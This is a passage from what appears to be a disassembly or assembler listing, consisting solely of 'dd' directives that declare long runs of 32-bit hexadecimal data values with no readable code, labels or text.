80EE0DA1h dd 0CE8EF220h, 2CAD7FC5h, 0EF14D0h, 3100749h, 9F009CDBh dd 13D7F40Ch, 6FC305CDh, 0A1E58892h, 29B8433Fh, 0E03F761Ch dd 0E1388562h, 0A44703E7h, 0ADC20A79h, 0AB48A0B6h, 10A63F13h dd 884A85BBh, 83DF802Bh, 50F7A5CCh, 1D233A02h, 81DDD280h dd 78DE5DD0h, 725CF5C4h, 6D1C1462h, 6A00F432h, 0FF3AE44Ch dd 873A709Fh, 0A938003Eh, 55CD3161h, 0B891604Fh, 0E8EA4560h dd 0C59EEB07h, 40C6766Fh, 0B06803C9h, 43BF6C1Ch, 6182BA80h dd 4F37FB74h, 0B2702070h, 0B0134007h, 481A01EFh, 0A7387BCBh dd 7720808Bh, 9C728A76h, 0C1490A87h, 91807120h, 0CE819EB3h dd 874BB12Bh, 0DC40CA0Ch, 101100F5h, 0D5CD6B7h, 0F61A470Bh dd 86D85D15h, 3049BAF9h, 7E08ED30h, 9D37235Eh, 2A56499Ch dd 34AE00D1h, 6194D629h, 0C33AFEA5h, 549F05BFh, 4808417h dd 18D6E2BAh, 0A040D3B4h, 2009A5Eh, 0C25B3D1Dh, 24D0E8h dd 0A08B581h, 656A9654h, 0DD6D1700h, 1EBF8FDBh, 583901EBh dd 0CB7402D7h, 0EEC5C8B7h, 0EF00B37Fh, 69D3D9Ch, 1BD7FCBCh dd 0C820F777h, 5447FDE0h, 3D4C8601h, 0ADA6C3FBh, 0FCA2D9ECh dd 50BD015Bh, 6EAFF716h, 0F4D0587Ah, 0D0600704h, 452CFAEDh dd 3A06D600h, 0C05D965Bh, 0FFA24C1h, 3F94A04Ch, 0E2012448h dd 0A1926FC4h, 1D202356h, 0D540A341h, 0B6E6F4F3h, 0D3B5017Dh dd 306FEEC0h, 824034C7h, 12448507h, 34B0E9BAh, 0E83FA050h dd 5D21C0E4h, 0DC7427Eh, 0A84C1400h, 41A24D0Ah, 31290095h dd 0B4E9C063h, 4491AAD9h, 0AA607C44h, 0D0107E1Ch, 73B08DBDh dd 6F1C07ACh, 0B4819388h, 225164EFh, 4C04C440h, 81D302Ah dd 0C95468F9h, 248C3C48h, 1BE540Ah, 4DFC07C6h, 10935E9Ah dd 2D1860D7h, 0B1103D06h, 10DF3AABh, 0A5C900DCh, 0A78E7013h dd 2417311Ah, 31A46A78h, 56D08260h, 4232660Ch, 0E2AC00B8h dd 0F8B4C608h, 99EF6B0h, 0A4EE19D9h, 88C7BC90h, 966B0486h dd 0C42D6AB6h, 27BC88B8h, 60B940h, 5ADC95DEh, 1759AABBh dd 0BA24892h, 8650EC02h, 58EA498h, 93BF1204h, 7521B5E5h dd 0E0370065h, 0FCD6011Ch, 0CE48E1C1h, 0C89FE412h, 73D81115h dd 0B2B61F88h, 0BA0460C0h, 206761h, 6B5CFEADh, 34A2E764h dd 0D0B41834h, 0D72F3480h, 0E3DA12C6h, 5E3C20B8h, 882C8A7Dh dd 0E740645Dh, 2528C6h, 0E4025B01h, 8AA47DEDh, 0F1F830FDh dd 78FB400h, 0D00B1777h, 32AA05DCh, 0D4C901h, 0D8CF82B0h dd 16790AE8h, 2C55D109h, 482C00D7h, 0DCEE4C66h, 0C7770058h dd 0B067812Bh, 2144D898h, 89D36730h, 8E59E083h, 0C7001B7Fh dd 0DA0CFF90h, 0CEA855h, 459AD988h, 0A79D8323h, 0D308E400h dd 0E591A141h, 671F0035h, 0C07F4718h, 390343EBh, 234D4BAFh dd 0C3508195h, 12DB1824h, 2647C5Dh, 8FBF88F0h, 57A88C80h dd 7600F4FFh, 0BE7F052Ah, 3E4BD002h, 0B48026D7h, 0CAFE62E3h dd 0EB30DD84h, 80AF8EFh, 0BE60C04Ah, 49AD6B8Ch, 4085D601h dd 75E5C061h, 2515B03Bh, 0A7E18E0Eh, 86DA2009h, 6515274h dd 36B23A98h, 355718A4h, 0BCF804h, 0D89E70C9h, 0B8B90AF8h dd 7F88F4A0h, 0C5F9A403h, 0C1ACB94h, 3D459130h, 9DF008D0h dd 3607B3E8h, 3EB5CB1Eh, 0E83F9C8h, 32672683h, 0B6296000h dd 0B2A378Eh, 784C7B02h, 0BFE505C3h, 421989D9h, 3874830Ch dd 13278B22h, 1882B8CAh, 2710306Bh, 0FA0CA08Fh, 2B218424h dd 0D1913D04h, 308F2A99h, 0CC58A28h, 0EC48D354h, 0CB718A9h dd 0AF7C22CBh, 970C6354h, 0BB18CE50h, 962A7642h, 245F570Ch dd 21C2D1C4h, 4841B9B3h, 18427DE0h, 0E70CA597h, 651B1848h dd 70C488Ch, 9C306765h, 88E1248Bh, 30842252h, 5B90776Fh dd 3910C3B9h, 0CA63042Ch, 1804BEA0h, 7F75147h, 891204h dd 2277FB7Dh, 22ED0Eh, 1F886700h, 0D60CA74Fh, 0F42E3700h dd 6B2F9FCBh, 0D07005Fh, 0A34E30A1h, 0B016C08h, 0DE718A70h dd 2424120Eh, 464A0C5Ah, 0C5A02633h, 98A888EAh, 763056B6h dd 0B8671886h, 82370005h, 99C0B0FCh, 0DB817C6h, 0A10FC431h dd 0DA257376h, 3E177048h, 581F3B8h, 586A4A0Dh, 3CA88FB2h dd 0A096EEEEh, 0A4274B3Eh, 3444141Ch, 0E1AC1C83h, 0B79F0E02h dd 447A975Ch, 6C690068h, 0A637B49h, 20304B51h, 0A8655039h dd 0C34303C8h, 0BD57B816h, 91105805h, 0A4421B90h, 0C08B7183h dd 6A12368h, 3BC507D0h, 9078D89Eh, 782048FCh, 7BEF1732h dd 452402A5h, 1480C974h, 42F6F066h, 0B7DFC514h, 808B3834h dd 0A14F9238h, 4D958F0h, 9886C2CFh, 0D8DC802Eh, 9B0325EAh dd 290A3506h, 779F9021h, 47F7005Ah, 29CFCC8h, 1318D20Eh dd 0FFB98373h, 4B7C801Ah, 98BB3C37h, 0B8E7A3F3h, 2833603h dd 923A7BB3h, 0C880DC0Ch, 919D576Fh, 0C8871A02h, 403B070Eh dd 635B8B00h, 2A67D178h, 81F68010h, 0CB799EE1h, 0E41CAEC9h dd 840E05D6h, 8103E19Ah, 0B655E5B0h, 0A7411E8h, 9D105A0Fh dd 0E81D81C0h, 8A991849h, 0A56F5D10h, 711B3501h, 0A085CA5Ch dd 81849A39h, 0F187BE75h, 0DF1980E8h, 0D6205A3Bh, 0C39330CFh dd 37A971F9h, 0D0DFC0C7h, 8F7C3h, 0C9CC5918h, 26C76EC2h dd 0B99B900Ch, 0F9303036h, 0FEE845Ch, 5EA288D7h, 0E840A02Dh dd 2A036C89h, 0FE6AA61Ch, 7CA8DEE6h, 93A209D4h, 182F3120h dd 7C10C589h, 5849F9D9h, 79320094h, 0DCCCA1D2h, 929E0F5Fh dd 0F281743Eh, 5598E848h, 42108088h, 3F1D93C3h, 86CA626Dh dd 434F84E0h, 0F8DB31F0h, 1A579E8h, 5AFD1666h, 0D89E4F3Ch dd 3D00A4F4h, 70D0A0EEh, 1DCBA98h, 8A78279Dh, 40C83B59h dd 0C9964B80h, 0BB5EB912h, 70141027h, 0FA07E180h, 0A3FA4Eh dd 0DFA53871h, 86741F9Dh, 2008A1C9h, 34E0C298h, 8774CDDh dd 0A4D1E18Ch, 5B2C1509h, 2F09F4h, 0F2EA9934h, 2A649098h dd 194DDBCh, 93C9E359h, 8CB76C5Bh, 70A760E8h, 8A690F27h dd 30757A9Bh, 115A3C0h, 0F48CF33Dh, 0C3D4A09Eh, 1C4F4C76h dd 0E96C0902h, 48402FD5h, 0CD308B3Ch, 2A7B307Fh, 10A300ACh dd 4C96D511h, 0D42493DFh, 670008C0h, 157FFB22h, 0A3FE077Ch dd 99922046h, 6B25DC18h, 0E4A46000h, 30C7D341h, 0B53909E3h dd 70A0D45Eh, 0C37AD562h, 25C551C0h, 74FB03E4h, 9012802h dd 0C49D26A0h, 39B64010h, 0E5798938h, 0DFE08254h, 80600A3Eh dd 6B54AD10h, 0A47E1Ah dd 2461B1FBh, 3BDDAFB5h, 48E03A4Ch, 76B2A08Ch, 36F9C71Ch dd 0E2200248h, 5CA55045h, 8A300216h, 48AE9E4Ch, 74ECA9A0h dd 1BE675F3h, 0CE5B5300h, 42991909h, 186972BBh, 0F0CB4971h dd 0DD1D20E3h, 4F8B7EB6h, 1D440078h, 59566486h, 0C0DC48BCh dd 90D7FBA8h, 0B6146D6Ah, 82EC260Bh, 0A9CABAFFh, 0E10E2E4h dd 1096E6A0h, 0B5760AB1h, 0B0C41C2Fh, 44D03DB8h, 1304A73Ch dd 40208C6Ch, 9FEA39Fh, 19A19061h, 0BB0874A1h, 67218150h dd 3172E0D5h, 153D060h, 3B71A2FBh, 24515BDFh, 63110820h dd 0D0081C46h, 38016FAEh, 0BDBF6006h, 7809A098h, 0E8832FDAh dd 51461EAh, 35C0CC8Dh, 1C80400Fh, 89EFF667h, 48C9CA02h dd 0C9015682h, 72C451B4h, 51B76F5Ch, 824D3907h, 89128F2h dd 8C8A047h, 5FE70F12h, 0D3D0F000h, 23083CBh, 0BF8BC825h dd 0C48A973h, 370029A4h, 0BB3EB953h, 74D9F1Bh, 852AEEBEh dd 0FE16278Ch, 0B06DDAA0h, 0F85173F4h, 1E2877C0h, 0DF86B1C0h dd 21986EBh, 0A5E2230Ah, 64E3E426h, 4340F3C1h, 0CBC81AE4h dd 6679AA4h, 6B319C40h, 0CC205B75h, 0CC2F17D3h, 0C12420BAh dd 0A103BE3Bh, 380E40Eh, 0E8ABA00Ch, 531909F4h, 2039A970h dd 3E822C7h, 6BB78D0h, 1CF8000Dh, 577EAB5Ch, 4F07CF50h dd 6E5FD0D6h, 4A46B080h, 82E5003Ch, 0B52D269Eh, 50075621h dd 0B737FA9Ch, 76A03AE0h, 0B1F30211h, 0CDB1D54h, 0D89B06C0h dd 95B28D0Dh, 0FBF01153h, 443D3CC6h, 6B6EF405h, 3F3020B6h dd 7D7F9C59h, 80E99F76h, 62C9191h, 7009DBA7h, 72E11E90h dd 7A9EC00Fh, 50F1AD46h, 309D0730h, 0BADB43h, 514DA21Ah dd 897A4AD4h, 5D3E280Fh, 1D6020F1h, 544E2D8h, 0D1B668B8h dd 0F536C026h, 10FD91Ch, 0EC7D995Ch, 1105104h, 0BAF2745h dd 60514B36h, 3AEA017Dh, 9E033E00h, 0EF54A113h, 0B138677Dh dd 5D667383h, 6B56C808h, 2619849Ah, 0A25280DBh, 4C02AD7h dd 0A01CDE94h, 0AB070021h, 426488B1h, 5518A76Ch, 9C380EC7h dd 0F86800EFh, 9BAB3758h, 0DB00E17Dh, 0A76389C2h, 7B21CFDh dd 2916DE13h, 23E55DFh, 5AB93944h, 0A1458C01h, 28B582FCh dd 70C4BD8h, 8806F2AEh, 0A628908Ch, 0D40E55CAh, 0C15F9A09h dd 8040AAC6h, 3B2A42F0h, 121878C0h, 4EF4619Bh, 0B669200h dd 0AE074F1Bh, 2AF4F327h, 7C8A0044h, 6C469042h, 0B501873Ch dd 0FAA14009h, 10943EF1h, 7BB04F0h, 891FBAAFh, 44F206C0h dd 8D3C0316h, 8763AC4Bh, 0DC20FBA9h, 0C073B127h, 0FF39106h dd 4229AF6Ch, 0E87F081Fh, 2264084Ch, 11C05E84h, 5F25D302h dd 42B24001h, 86057800h, 40708E80h, 51C04713h, 613BA22Fh dd 678C0079h, 3F77F143h, 9B00CFFEh, 68FC6933h, 0E65AEEh dd 0A1870FD1h, 0D8593E76h, 9102F2E4h, 0D54D67B2h, 0CE31608Ah dd 8B4A00BEh, 0A56172DFh, 9E002402h, 8439EFD9h, 7C0947h dd 20F83AFCh, 6C54EDA4h, 4C032370h, 0FFD44083h, 0B306F8CBh dd 0C3C200F1h, 0E22AEB17h, 7EE9EBDh, 0D8185500h, 0C2AF233Dh dd 0EAD60003h, 0AC904860h, 0FC009C9Dh, 0F879477Eh, 2996977h dd 0B4502713h, 0C480BAE5h, 0F418989Ah, 467730F0h, 0F6329000h dd 0B788204h, 6F5E0050h, 94342308h, 393DB347h, 8385BDB2h dd 2EFA4FDCh, 684800B4h, 7E654086h, 81032CB5h, 9FE3725Dh dd 34E0000Bh, 12D3E8AAh, 690051EEh, 9B663E7Bh, 2CD4C01Eh dd 8F9C38h, 5E7F4229h, 0B13B28C6h, 671480F4h, 0D90286E9h dd 1F00092h, 7EEA73DAh, 0DE180E45h, 6B8056C7h, 8882008Ah dd 0B78C9EFAh, 4300C99Bh, 0BA4E1505h, 7C048BDFh, 0F7133894h dd 1F8FE181h, 8C11F0D9h, 0DC0AD210h, 1AE00029h, 6E646DA1h dd 0E80184A7h, 1B51863Ah, 0AA40C8E1h, 75C4C0BFh, 3B8E1227h dd 0A9CF0087h, 13987DD1h, 6E141700h, 249630BAh, 90D2001Eh dd 0C6764CEh, 4A580305h, 88EB00FFh, 83FD10EEh, 22961643h dd 69730059h, 667AD217h, 25ED6707h, 2790F7A3h, 0F1EF345h dd 0A1E3E608h, 8D02AD00h, 2B008B15h, 493288C5h, 1F781F62h dd 83EC66C4h, 0BAE38953h, 7800AAFBh, 68E2DEA9h, 0EE7CCDh dd 7B0CED3Ah, 0B027070Bh, 86F21D00h, 3F5313E2h, 99183D45h dd 0FA696F00h, 4EA2AF3Eh, 7605E000h, 202E8480h, 0B4A43F95h dd 0B0216E80h, 7AF20351h, 0E5E73400h, 0FF5C93E6h, 14DE009Bh dd 5444B016h, 0C80339CCh, 0C6066045h, 181BD069h, 83FF0F7Bh dd 0E160AB20h, 0CD161ACAh, 32920B01h, 0B83F2E03h, 23D840E1h dd 28981F9Eh, 0C1851D76h, 0E2A76F60h, 19C080D7h, 31C04006h dd 0BCC40034h, 0B94627F1h, 0AC00A196h, 0A556421Dh, 75E92A0h dd 0D6FC33D5h, 691BF089h, 6F00B051h, 289AA2A8h, 0A6FD1Ah dd 0F18E58FFh, 0D7F3BA23h, 9550D400h, 2518EBC9h, 10BC4C88h dd 0E65EE700h, 3382A642h, 47D15001h, 0B767B02Fh, 417CC8DFh dd 7EDA005Bh, 7B3DB8D8h, 8F0074CAh, 380931B4h, 3A3F3EABh dd 0E4A51349h, 0A11759F8h, 0B8A0D303h, 0DABE3951h, 612008B0h dd 0CF00F69Eh, 1755DF07h, 39F5473Dh, 300D429h, 0A7641353h dd 0B73DF3FEh, 0DD9D81ADh, 8A3D4E2Ch, 369E9B40h, 0C2CC0019h dd 3CFCB26Fh, 4100E6CBh, 304FE14Ch, 7DC5FFh, 864DD226h dd 977B618Ch, 0A522DB1Dh, 415E1240h, 0A694FDh, 81BE8C1h dd 6A402DD7h, 9547D000h, 8A2C9DF1h, 37A400CFh, 78DA521Fh dd 593F1DD9h, 0BC4E803Ch, 162A982Bh, 0A4DF003Bh, 0EA27D14Dh dd 680FA3CBh, 804B90F2h, 0C9F67522h, 0E9850093h, 0C6F487F1h dd 0CE00173Eh, 6D45EB5Ch, 73410Ch, 0B48BD646h, 1371A7F6h dd 695E9300h, 49D9A0ACh, 744F0EE6h, 0BF809750h, 23EDCEC1h dd 3767A800h, 0EE20AFA6h, 3B8D003Fh, 0BA420596h, 4600EBB2h dd 64BBF5EAh, 12F70F99h, 0C22082h, 0AB51A13Eh, 0BBF2EDA3h dd 7C00C8F6h, 63CD15A8h, 46BECCh, 2D6579D7h, 0A9B0B73h dd 0AC77C800h, 0D43697C9h, 0A9F00143h, 67D66A45h, 0A899FCDAh dd 0D35A9212h, 7E559100h, 3A2E327Bh, 584801DEh, 93F54A04h dd 80094036h, 0E0DFD568h, 35120742h, 10C77A83h, 15AB4FEFh dd 0E8643D00h, 41712516h, 0F1D3037Fh, 0DE91A043h, 3DC8AD8Bh dd 82008C1Eh, 8A3C657Ch, 6BEEFBh, 0F72843D0h, 0DF56A86Eh dd 58384D00h, 0E8FD1B6Dh, 30870077h, 11C3A127h, 6A1F1981h dd 0C64026B8h, 8D7B6704h, 0CE1003B7h, 60C06D2Bh, 2EE20FE8h dd 80126B3Bh, 919E1FAFh, 0CBF93Dh, 0B2442667h, 2988F25h dd 2A60CD07h, 439099A0h, 7C57BFBh, 6B139CD2h, 0C7B18026h dd 0D70151ECh, 669B4E60h, 32FCA2AAh, 525B028h, 0E10388B6h dd 5D1F80DDh, 2F00966Ah, 406FBB9Eh, 0C4D65Fh, 4744D972h dd 0E7FA0370h, 123E5C07h, 7AB07188h, 0C4E63Ah, 8AFCC1C7h dd 450892BEh, 0F7185C00h, 0E20C369Fh, 0A2E4002Ah, 398E74CDh dd 0B71FAADEh, 0ED07E1A1h, 19D06EACh, 14377E35h, 0FB93FA36h dd 1B91FB00h, 618B1CAFh, 5A7B7200h, 1428BC1Fh, 0A8E2008Eh dd 46742E06h, 2A00D5BFh, 6681D639h, 1CFF88Fh, 0E2DCC64Ch dd 0CCBB26C5h, 94032012h, 0E080D211h, 48368071h, 836A4C58h dd 86D3C700h, 19E41A1Fh, 70C43900h, 932F2621h, 0B79E0F28h dd 4860D324h, 0E45599C9h, 9AB4D100h, 973A68F6h, 1D7FEEh dd 5B072206h, 2A2C81C1h, 4C994E00h, 0B9CCF1A5h, 0DDBF03F8h dd 0B41E1C43h, 49371680h, 870E407h, 319FAA9h, 40DF41h dd 61D87A6Eh, 0B21A4B12h dd 0B9E4713Dh, 46EE8C6Dh, 3DB76E9h, 371E02A9h, 2DF8AFDFh dd 9EE4870Ch, 36E85F1Eh, 0DE7291C0h, 60EDECDAh, 0AB026601h dd 1F007066h, 684FC955h, 0E4E43397h, 5F8E0760h, 0D17A9153h dd 0E95BCDF2h, 6FAE60C8h, 0F4B2A00h, 0D047FAEh, 9C210F7Eh dd 2240DED1h, 7036EE8h, 0EF602B60h, 1695430h, 26B53BE0h dd 0FC08C179h, 0D50027DDh, 0A8533274h, 0D7C902h, 0E1559D90h dd 8B03418Dh, 0C4F423FEh, 8EB830EAh, 3B9F1800h, 0CEB04295h dd 925B0157h, 5F61D701h, 446BC4C0h, 71EB0307h, 7C10ECF2h dd 1F2281F7h, 1402E0h, 6C920594h, 553A6B1Fh, 154B00C7h dd 5C7DE951h, 8D57003Ah, 0C6BF3456h, 473B95DDh, 4BF5802Bh dd 0AD9B3FEFh, 221B00B3h, 68F23A8Eh, 2AE431C2h, 168C2400h dd 74518AB2h, 1C761Bh, 28B14A6Ch, 6E05F2CAh, 5C03C900h dd 8FF4B78Ah, 85742Ah, 927C2B77h, 2FF61A50h, 0DD73EC00h dd 0BA3B0BAEh, 0D379073Dh, 0B1F5EEDCh, 0F04CE99Eh, 0B7501272h dd 6B01D988h, 7A0E414Ah, 0E03A142Ch, 0C10084E9h, 507E380Fh dd 826BE5h, 44CAAAC6h, 0AC7D5FF8h, 6EA24200h, 4C0745C5h dd 88EE00FDh, 4F7BB99Eh, 2007E3Ah, 7C708630h, 0DCF280h dd 5CACB554h, 0D21D2A15h, 0F94AD700h, 0E234FBA7h, 9457006Dh dd 0D6D46260h, 800ADE0h, 0D9C89D71h, 1A47CEh, 0B3800D7Fh dd 3966BB8Eh, 94151F00h, 7D73C9F4h, 1C6B077Eh, 80C47A02h dd 27125307h, 67204754h, 0D50D1B0Fh, 8D0E740h, 0E7B16950h dd 0AE521F03h, 0DEBC8010h, 55E89048h, 3DDCB5Ch, 0E9FD0BB8h dd 70181CCh, 0A79FCh, 0C14BEF0Fh, 0BE475893h, 800BDB0Ah dd 9A049AD6h, 0D9C09CEDh, 0B883CDC3h, 630F1E52h, 0DD338081h dd 6A38CB49h, 23F79700h, 0FB067A7Fh, 19AEE1Ah, 0DAD526F9h dd 0F8E3CD62h, 0F3607B4Ch, 0A6CE3618h, 0DCF51E37h, 0BC38044h dd 9DA502C2h, 3B004DB0h, 62FF1AD5h, 23C1ACh, 388F1C33h dd 81BEB241h, 7A0460B0h, 0CCD1B3E2h, 2FE12DC0h, 0A0470019h dd 3C3B2810h, 0B200B043h, 839BBC5Eh, 3FE03DE8h, 0A300D1CAh dd 46E80FAh, 7000457Fh, 2271DDAFh, 3C199CEh, 0E3EA3D6h dd 0BEF8D57Bh, 9D00F62Eh, 0CF76BC36h, 2CFA09h, 622F88E4h dd 228426D2h, 0D80A9730h, 0D4A9B0h, 0F5B1A4E8h, 1CCBD57Ah dd 0AB1AAE01h, 45190EEBh, 5B3A60h, 0CA309640h, 3D72D2C7h dd 0E80066FCh, 5AE42EA3h, 5648B9h, 0FEC3DB4Bh, 683A4131h dd 0B64C0C00h, 0A23B934Eh, 0ECFCA011h, 5EB900B8h, 61A66F26h dd 57004EDDh, 19D88F9Fh, 0F53B53h, 0F7C70821h, 6E90E3EDh dd 0C4A1310Ah, 5292B4A0h, 55B100AAh, 5E638B8Dh, 0C1D09C0Fh dd 0C938E367h, 13A0D8F5h, 0F955002Dh, 0B5EDE059h, 65249214h dd 811F0B5Ch, 2A4A2EC0h, 0A81B0Ch, 2BAEAD4h, 0B6AFA51Dh dd 81D26B00h, 527E5856h, 0BDE842h, 9A36B9D4h, 8E876413h dd 139B03Ch, 5385F9D5h, 0D7E4E263h, 0E8BF0DEh, 90D19524h dd 0B6A981BDh, 60C86423h, 820084EFh, 0FFBF1141h, 2FE8D7h dd 222BD328h, 3B71C9EAh, 45B60B00h, 989BD069h, 74CA000Dh dd 0BABDF7E1h, 820E04F9h, 80438356h, 516D487Ah, 54BF030Bh dd 0E33B1EADh, 0B64167E8h, 69520500h, 0E0B0D5AFh, 85A301D4h dd 60A6C46Ah, 8681E06Dh, 3DA73800h, 0A94189A5h, 4DCE12D7h dd 4600EBEBh, 0F3CCE251h, 9D40024h, 7C7E6292h, 9300DE06h dd 4A30C21Fh, 3DA20425h, 0EC00BCABh, 0DEB9F5C0h, 8200517Fh dd 0FA854C2Dh, 34EF1F6h, 0CE8BDEBh, 0E788276Eh, 6D00113Eh dd 9DB1D62Fh, 0E069D015h, 841F0277h, 5C2D33D2h, 7AC606C0h dd 180C4707h, 3750DE95h, 7975DDh, 688ADA72h, 0E7D25A3Dh dd 9335C000h, 7FC7011Ch, 4BD400DBh, 8A688B05h, 73071211h dd 0ED24B82Dh, 999A5380h, 4BCE30FEh, 7CE95864h, 7F6D2D0Fh dd 41BB804Dh, 26C2DD49h, 0A20884h, 0E4DE0C0Ah, 7B6FE7A3h dd 0C36FA119h, 0ACD01D3Fh, 2E730396h, 888AA7A8h, 948003EAh dd 5BD77254h, 1CF0F900h, 8319308Eh, 58B35C23h, 0E78D470Fh dd 0BDA28960h, 440572A0h, 31FB0BB7h, 4790AC00h, 0F4247F79h dd 5818007Ah, 7CCF1A8Fh, 4F0E600Fh, 7C468A3h, 0BD017F8Ch dd 388034C0h, 3A59108Bh, 8D0015E5h, 0AEB0F462h, 0FDE17BFh dd 7FD2C09h, 6DA92000h, 8A000CC9h, 67E55AA5h, 28B5B8D3h dd 0BE01A04h, 70B6668Bh, 0E3AF0300h, 200FDCDDh, 0F47B01AAh dd 15EE00E4h, 341B23E4h, 5F570C79h, 4020A843h, 8567D00h dd 7AFE6ADAh, 0AB7C0717h, 7E5AEDE6h, 1CD4641h, 0EBBFC898h dd 0AAD0CE00h, 0D754F4C8h, 1CFF2C7Ch, 1B480060h, 1DF04D6Eh dd 0BBA6F200h, 79606AA3h, 40F100ECh, 5B21F6C3h, 99014468h dd 0A4BCCF5Eh, 2B601FDEh, 5C0B00E4h, 753ED27Dh, 5A00099Ch dd 9BBB02B2h, 7C7AFA9Fh, 2A6B007Bh, 89408363h, 0C6010688h dd 19A81AC2h, 21C4793Eh, 0FE23003Ah, 75501BC7h, 8D7FB5A3h dd 683F1E00h, 395E54E6h, 0AF9F0076h, 604B1DCEh, 2107FB93h dd 82A9203h, 0F903ED7h, 0D2809h, 84305F17h, 0B4743B26h dd 0E9FF9503h, 0C891B029h, 279376h, 0C04B1AB7h, 5CC248E1h dd 0B94E9500h, 4FCC61AEh, 4ADA006Dh, 0E29C0FFCh, 3C0E9158h dd 1B8BB7Ch, 5E45FF83h, 0E0F9C8h, 0A274113Dh, 26AD8E89h dd 3C3E373Bh, 4DB1803Ah, 0AAE4D925h, 92590157h, 0BD83DC15h dd 0FA770DAh, 3E89F801h, 0F44C9945h, 1CBFEEE0h, 0C19242A3h dd 0C5E30AB8h, 50BC4043h, 0C605C190h, 6533A5Eh, 74651B0h dd 7285D0DDh, 58483C82h, 0FA172600h, 3CF22234h, 0C6B90742h dd 31A41348h, 0C4825F2Bh, 0FA00460Eh, 145671Bh, 3C5B8E54h dd 0ED3D7C87h, 1A831300h, 0C32DC569h, 0DC1E300h, 334B6A1Dh dd 50C91D01h, 3AF94034h, 0E3EC6EB8h, 0BDFFEE00h, 99F178CDh dd 5AC31E43h, 81960074h, 0AA40F476h, 0B20039E4h, 8E18AC88h dd 1F9EBE1h, 0BDDEBAA1h, 0C91D6884h, 4B7920B6h, 5217C707h dd 45E0D9FEh, 5CE57E86h, 0EC00EFDFh, 0C8D11DC6h, 727D5DFDh dd 53288B00h, 880DE93Ah, 0C28D2E7Ch, 3F4C0B9Bh, 40836A87h dd 0AFECEA7Ah, 89639700h, 29F1754Dh, 0CD4B00E7h, 10DDB2B8h dd 910BAB0Ah, 1117E28h, 338E6F80h, 77C00DC0h, 0C0854A40h dd 9938F96Fh, 15A0300h, 6E29F61Eh, 2D801F1Bh, 235B0036h dd 92FE7C1Ah, 81125092h, 3B1350E5h, 0F41ED300h, 0B95C015h dd 72B4C27Ch, 4A037456h, 0D00DAD33h, 825C69h, 0D4DF96BBh dd 49C84E5Dh, 80F7A13Dh, 0C7FDD8C4h, 1D61E70Dh, 3B19F77h dd 0A8D2AC8Fh, 5F4D50E0h, 1EF1471Fh, 0CD25E6C0h, 0A539F8h dd 6A2AFACCh, 8DF79A82h, 1BE8C700h, 0CBA37463h, 53B6ACh dd 958A0BD4h, 7539B15Bh, 376F00E1h, 9B0D7080h, 40136057h dd 42C6AA9Fh, 6A1AF000h, 433A15F3h, 692A0394h, 0A3328ECh dd 7EB1BE2Ch, 0C1F6A200h, 7E688FBBh, 1C57732h, 0D04A0C05h dd 80ACD109h, 0FD39BAF4h, 0ABFAEDh, 903EBE83h, 0D5B07465h dd 700091E8h, 1D66B717h, 2A4006h, 7E80756Bh, 0ED95AE4Ah dd 12C7743Fh, 6600F715h, 0D4569DFDh, 1F380016h, 30D8853Ah dd 0DF0FA3AFh, 4ECEB61h, 5BC05196h, 8D3260h, 79A76D17h dd 522F6A25h, 67F63100h, 0B4E20BACh, 76340F91h, 0A2A0DA3Eh dd 0CEA856C6h, 9555A31Fh, 0A5DC8A80h, 0B6BD4Eh, 20CBA41Ch dd 0FBBABE84h, 6D101F60h, 6A6CD6h, 0C48D4DD4h, 0AF954F2Eh dd 644E5E00h, 0ED80C13Ch dd 0C698C0h, 5582226Ah, 456DE14Bh, 3AD1B100h, 277490AAh dd 60E20044h, 490D684Dh, 0CA00949Bh, 0AAC084CDh, 791D9DD4h dd 3815006Eh, 75916623h, 60F675Ah, 60F15251h, 24D0723Ah dd 0EC9909C2h, 0B980CFD3h, 287BABA8h, 425B6600h, 0CD2F7025h dd 203D1D23h, 0E396C021h, 0E78FD7B5h, 0C1491600h, 0BC7BBF08h dd 365700BDh, 854E872Eh, 910048ACh, 0E1DFA1FEh, 0BECAC8h dd 6D24B215h, 965666FDh, 7F3AF600h, 4B126990h, 5C7078A1h dd 5F00F2FAh, 0B5BA5577h, 58E4DA40h, 0D2E0B00h, 0D179C9BEh dd 0A79E07D8h, 80145256h, 70168884h, 0DBB3EE00h, 0AE5C6126h dd 564B0B65h, 1800C4D0h, 1A2C6A12h, 0DDAC0200h, 0D7D77FCh dd 0F8112631h, 0D4B1C24h, 0E0881E30h, 720EE2BEh, 80FE244Ch dd 1F3D6326h, 212060F7h, 4C0125A8h, 0DCFC0424h, 0E6026A00h dd 3D3B78h, 0FF6291A1h, 0B3D4BB10h, 0F329CE02h, 55A2612Ah dd 4FC728C0h, 8149FE00h, 0AE6C2055h, 3D7A18CCh, 0A7EA187Ch dd 803BE93Ch, 51824DF9h, 14BC76Dh, 0C66F3677h, 0E47FC950h dd 0D6070D3Ah, 85231324h, 4D38DB20h, 0D09E64E8h, 0D472C053h dd 0DD0FC24Ah, 0A09210BDh, 39DB1C69h, 0FAB01966h, 20A1F8CAh dd 2500DCD3h, 7B75C1CCh, 0A74BDDAh, 0B2D537Dh, 0F37A4390h dd 291C40A4h, 1CC795DBh, 80BA1AEEh, 5EF5E451h, 2EE60B6Ah dd 41911300h, 1B4C462Fh, 354300FCh, 864A2210h, 0B500A6CCh dd 0CFBD24E3h, 0F5D830h, 0BB2627C5h, 48D76DFDh, 39008B79h dd 9896CAAEh, 769A69h, 9DDA6AFCh, 364B7DA9h, 0F53B3E00h dd 0CACE4611h, 0BA8103B5h, 456184C2h, 0CD579DC8h, 37DE8200h dd 5A667114h, 1F6800F5h, 3CFC383Eh, 550086D3h, 0E619223Dh dd 3D94F8B7h, 5F00D9CCh, 51AD44E5h, 811FCA2Bh, 0E2401672h dd 5CE1A8B9h, 9E830031h, 22C9D6Ah, 0F3009881h, 3BA555D5h dd 0A82FEFh, 45A7F6DCh, 8038B0E5h, 0C5BB861Eh, 0E04E7B0Fh dd 32D19BACh, 0D5E50043h, 0AD5D935Ch, 4D00CC2Dh, 68977848h dd 3208F35h, 0E0AB95F4h, 5FEF6138h, 302ECB00h, 9600552Ah dd 1CF93D7h, 3A02E27Fh, 0BD02E44Dh, 0AEC6D1E6h, 18E1D860h dd 6846F730h, 7EFCC6Fh, 43C1231h, 643D103Eh, 50001EBBh dd 0FDB80229h, 0C9AED81h, 9EB3AAECh, 2E18D5C0h, 5FE0E19Dh dd 0A82518F5h, 0CCF211B7h, 59B4E71Fh, 0A37FFDCEh, 0C8BF2D31h dd 1C9BA43h, 8405FB39h, 61D0CC71h, 19D4EC6Fh, 29F42A05h dd 0EFC09430h, 0F1AA5h, 0D2BF91DDh, 